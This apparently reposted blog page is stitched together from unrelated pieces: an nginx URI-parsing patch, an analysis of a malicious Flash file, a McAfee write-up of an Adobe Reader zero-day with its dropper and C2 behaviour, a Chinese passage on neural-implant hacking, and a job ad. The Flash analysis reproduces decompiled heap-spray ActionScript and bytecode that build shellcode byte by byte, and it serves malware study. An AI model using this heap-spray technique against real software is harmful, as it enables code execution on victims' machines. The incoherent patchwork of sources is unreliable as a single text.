Index: src/http/ngx_http_parse.c
===================================================================
--- src/http/ngx_http_parse.c (revision 2410)
+++ src/http/ngx_http_parse.c (revision 2411)
@@ -1134,11 +1134,15 @@
 #endif
             case '/':
                 state = sw_slash;
-                u -= 4;
-                if (u < r->uri.data) {
-                    return NGX_HTTP_PARSE_INVALID_REQUEST;
-                }
-                while (*(u - 1) != '/') {
+                u -= 5;
+                for ( ;; ) {
+                    if (u < r->uri.data) {
+                        return NGX_HTTP_PARSE_INVALID_REQUEST;
+                    }
+                    if (*u == '/') {
+                        u++;
+                        break;
+                    }
                     u--;
                 }
                 break;

Heap Spraying with Actionscript

Details

Actionscript is tokenized/compiled into an instruction set for an Actionscript Virtual Machine [AVM¹] and it retains much of the same shape in bytecode form, as the original Actionscript source. This makes it fairly easy to de-compile the byte code back into something easier to read. For example: [Original flash filename replaced with xxxxx here]

     constructor * <q>[public]xxxxx_fla::MainTimeline=()(0 params, 0 optional)
     [stack:3 locals:1 scope:10-11 flags:]
     {
         00000) + 0:0 getlocal_0
         00001) + 1:0 pushscope
         00002) + 0:1 getlocal_0
         00003) + 1:1 constructsuper 0 params
         00004) + 0:1 findpropstrict <q>[public]::addFrameScript
         00005) + 1:1 pushbyte 0
         00006) + 2:1 getlex <q>[packageinternal]xxxxx_fla::frame1
         00007) + 3:1 callpropvoid <q>[public]::addFrameScript, 2 params
         00008) + 0:1 returnvoid
     }

This may be incorrect, because I'm using only the fantastic power of my own brain to decompile this, but this is approximately what it says in English, er I mean Actionscript:

var whatever:MovieClip = new MovieClip();
     whatever:addframeScript(0, frame1);

And then frame1 [see Appendix] is vaguely like this:

function frame1():void {
    var a:String = "\13\13\13\13";
    var b:String = "\0c\0c\0c\0c"; // A heap address, and effectively x86 NOPs
    while ( b.length < 0x1000000 ) {
       b = b + a;
    }
    // This brings us to instruction line 18 (see below)
    var byteArr:ByteArray = new ByteArray(); // lines 19 thru 22
    byteArr.writeByte(0x40); // lines 23 thru 34
    byteArr.writeByte(0x40);
    byteArr.writeByte(0x40);
    byteArr.writeByte(0x40);

    // lines 36 thru 46     
    while (byteArr.length < 64 * 0x100000) {
       byteArr.writeMultiByte(b, "iso-8859-1");
    }

    // line 47 onwards
    byteArr.writeByte(0x90); // NOP
    byteArr.writeByte(0x90); // NOP
    byteArr.writeByte(0x90); // NOP
    byteArr.writeByte(0x90); // NOP
    byteArr.writeByte(0x81); // 81EC 20010000 → SUB ESP,0x120
    byteArr.writeByte(0xEC);
    byteArr.writeByte(0x20);
    byteArr.writeByte(0x01);
    byteArr.writeByte(0x00);
    byteArr.writeByte(0x00);
    // etc. etc. etc. building up the shellcode one byte at a time
}

Appendix

This is the output from the excellent SWFTools.

     slot 0: var <q>[public]::a:NULL
     slot 0: var <q>[public]::byteArr:<q>[public]flash.utils::ByteArray
     slot 0: var <q>[public]::b:NULL
      method * <q>[packageinternal]xxxxx_fla::frame1=()(0 params, 0 optional)
     [stack:3 locals:1 scope:10-11 flags:] slot:0
     {
         00000) + 0:0 getlocal_0
         00001) + 1:0 pushscope
         00002) + 0:1 findproperty <q>[public]::b
         00003) + 1:1 pushstring "\0c\0c\0c\0c"
         00004) + 2:1 initproperty <q>[public]::b
         00005) + 0:1 findproperty <q>[public]::a
         00006) + 1:1 pushstring "\13\13\13\13"
         00007) + 2:1 initproperty <q>[public]::a
         00008) + 0:1 jump ->15

         00009) + 0:1 label
         00010) + 0:1 findproperty <q>[public]::b
         00011) + 1:1 getlex <q>[public]::b
         00012) + 2:1 getlex <q>[public]::a
         00013) + 3:1 add
         00014) + 2:1 initproperty <q>[public]::b

         00015) + 0:1 getlex <q>[public]::b
         00016) + 1:1 getproperty <multi>{
                      [private]NULL,[public]"",
                      [private]NULL,[public]xxxxx_fla,
                      [packageinternal]xxxxx_fla,
                      [namespace]http://adobe.com/AS3/2006/builtin,
                      [public]adobe.utils,
                      [public]flash.accessibility,
                      [public]flash.display,
                      [public]flash.errors,
                      [public]flash.events,
                      [public]flash.external,
                      [public]flash.filters,
                      [public]flash.geom,
                      [public]flash.media,
                      [public]flash.net,
                      [public]flash.printing,
                      [public]flash.system,
                      [public]flash.text,
                      [public]flash.ui,
                      [public]flash.utils,
                      [public]flash.xml,
                      [protected]xxxxx_fla:MainTimeline,
                      [staticprotected]xxxxx_fla:MainTimeline,
                      [staticprotected]flash.display:MovieClip,
                      [staticprotected]flash.display:Sprite,
                      [staticprotected]flash.display:DisplayObjectContainer,
                      [staticprotected]flash.display:InteractiveObject,
                      [staticprotected]flash.display:DisplayObject,
                      [staticprotected]flash.events:EventDispatcher,
                      [staticprotected]Object
                      }::length

         00017) + 1:1 pushint 1048576
         00018) + 2:1 iflt ->9

         00019) + 0:1 findproperty <q>[public]::byteArr
         00020) + 1:1 findpropstrict <q>[public]flash.utils::ByteArray
         00021) + 2:1 constructprop <q>[public]flash.utils::ByteArray, 0 params
         00022) + 2:1 initproperty <q>[public]::byteArr
 
         00023) + 0:1 getlex <q>[public]::byteArr
         00024) + 1:1 pushbyte 64
         00025) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
         00026) + 0:1 getlex <q>[public]::byteArr
         00027) + 1:1 pushbyte 64
         00028) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
         00029) + 0:1 getlex <q>[public]::byteArr
         00030) + 1:1 pushbyte 64
         00031) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
         00032) + 0:1 getlex <q>[public]::byteArr
         00033) + 1:1 pushbyte 64
         00034) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
         00035) + 0:1 jump ->41

         00036) + 0:1 label
         00037) + 0:1 getlex <q>[public]::byteArr
         00038) + 1:1 getlex <q>[public]::b
         00039) + 2:1 pushstring "iso-8859-1"
         00040) + 3:1 callpropvoid <q>[public]::writeMultiByte, 2 params
         00041) + 0:1 getlex <q>[public]::byteArr
         00042) + 1:1 getproperty <q>[public]::length
         00043) + 1:1 pushint 1048576
         00044) + 2:1 pushbyte 64
         00045) + 3:1 multiply
         00046) + 2:1 iflt ->36

         00047) + 0:1 getlex <q>[public]::byteArr
         00048) + 1:1 pushshort 144
         00049) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
         00050) + 0:1 getlex <q>[public]::byteArr
         00051) + 1:1 pushshort 144
         00052) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
         00053) + 0:1 getlex <q>[public]::byteArr
         00054) + 1:1 pushshort 144
         00055) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
         00056) + 0:1 getlex <q>[public]::byteArr
         00057) + 1:1 pushshort 144
         00058) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
         00059) + 0:1 getlex <q>[public]::byteArr
         00060) + 1:1 pushshort 144
         […]

And as Bojan Zdrnja at ISC points out, there are two different shellcode payloads being used. I might write something more about these tomorrow (no promises). Most of the changed lines in this diff, are just jump offsets, which are different between the two, as there was some code added/deleted between them, and I haven't normalized this yet.

。。。。。

由于baidu blog字数限制，下面省略了

As we already mentioned multiple times in the past, exploits that takes advantage of a newly discovered holes in popular applications represent a growing threat to Internet users. Many, if not most, computer systems are vulnerable to these attacks. More evidence are showing 0-day attacks remain the preferred choice of cyber criminals.

Today, a new unpatched Adobe vulnerability has been discovered in the wild that takes advantage of a newly added feature to add interactive Flash (SWF) content into PDF files. This bug was found to affect at least Adobe Reader and Acrobat 9.1.2 , as well as Adobe Flash Player 9 or newer.

In our investigation of the issue, we found that Acrobat 9 introduced a new “Rich Media” annotation type, which uses Acrobat’s built-in Flash Player to play SWF content. In the current attack, specially crafted FWS files were embedded into PDF documents, that can cause Adobe Reader to execute arbitrary code upon viewing. When successful, shellcode in the exploit is executed by Adobe Reader. The picture below depicts how the shellcode works and what it does:

It first gets KERNEL32.dl image base using the Windows PEB structure, sets up the required Windows APIs, the decrypts and executes its malware payload. This specific malicious PDF file contains 3 embedded executables encoded using a simple 1-byte XOR key. When run, it drops a file called SUCHOST.EXE, sends the information gathered from the infected machine to a free host redirection services based in China:

• [blocked].3322.org
• [blocked].2288.org.

The victim is then redirected to other malicious IP address(es). This malware acts as a backdoor to allow remote access to the infected computer.

According to Adobe, the “Rich Media” annotation is new to Acrobat 9.x and will not be understood by PDF document viewers that can only support up to Acrobat 8 specifications. Thus, if you place the SWF file with Acrobat 9 into the PDF files, it is not readable by Acrobat or Adobe Reader 8 and older versions, and will not vulnerable to this attack.

While details of this vulnerability are not yet made public, more attackers are likely to take advantage of this critical as in past incidents. For McAfee customers, both the PDF and its associated payload can be proactively detected as “Exploit-PDF.t” since the 5683 DATs (July 21st, 2009).

Even though anti-malware vendors continue to add detection for new 0-day threats, there are several things which you can do to mitigate such risks. Users are advised to refrain from opening attachments from untrusted sources and visiting untrustworthy web sites.

This bug is currently being investigated by the Adobe Product Security Incident Response Team.

(Thanks to Abhishek Karnik and Aditya Kapoor for helping to analyze the malware.)

　　一些人可能会问，黑客为什么要入侵人的大脑，研究人员对此表示，利用电脑导致被攻击者神经受损的悲剧已有先例。2007年11月和2008年3月，恶毒的程序员曾攻击癫痫病患救助网站——将快速闪动的动画添加到网页上——最终致使一些对图片敏感的患者发病。

　　计算机学研究生、研究论文联合执笔人塔玛拉·丹宁(Tamara Denning)表示：“这是两次独立发生的事件。事实证明，确有一些用心险恶的人企图利用电脑破坏他人健康，尤其是在神经装置越发普及的情况下。”

　　在某些情况下，患者甚至也可能希望入侵自己的神经装置。与用于控制假肢的装置——仍采取有线方式——有所不同的是，很多深层大脑刺激器依靠无线信号。入侵这些装置可以让患者“自开药方”，即通过提高大脑“奖励中心”的活跃性改善情绪或者缓解痛苦。

Web security, P2P/IM Security Researcher

Description:

McAfee Avert Labs is looking for seasoned security researchers to contribute in the investigation, detection, and prevention of threats on Web services/servers, peer-to-peer (P2P) and instant-messenger (IM) for our industry leading network security solutions.

Responsibilities:

The main responsibilities for this position focus on threats for the APAC region:

·         Perform leading edge Web and P2P/IM threat research and analysis with one of the world’s most respected research teams, McAfee Avert Labs

·         Develop signatures or algorithms to detect and block the threats.

Qualifications:

The qualified candidates are expected to possess:

·         3-5 years direct or equivalent experience in areas of networking/system administration, P2P/IM/protocols security analysis and response, and software development

·         Expert knowledge on web security, web related malware, concepts like SQL injection, XSS, Web 2.0 threats, etc

·         Expert knowledge of P2P/IM protocols, such as BitTorrent, Edonkey, Skype, QQ, Xunlie etc

·         Proficient with at least one scripting language (perl, python, etc)

·         Proficient RFC level working knowledge of networking protocols including: TCP/IP, HTTP, DNS, HTTPS, etc

·         Proficient with network traffic analysis tools such as wireshark/tcpdump, TCPView, Linux-iptables/libipq, etc

·         Network based IPS knowledge and experience a definite plus

·         Strong problem solving, troubleshooting, & analytical skills

·         Experience of working in fast-paced development environments

·         Good written & verbal communication skills

·         Good inter-personal and teamwork skills

Personality:
Self-driven, proactive, hardworking, team-player

Education:
BS/MS in computer science or equivalent experience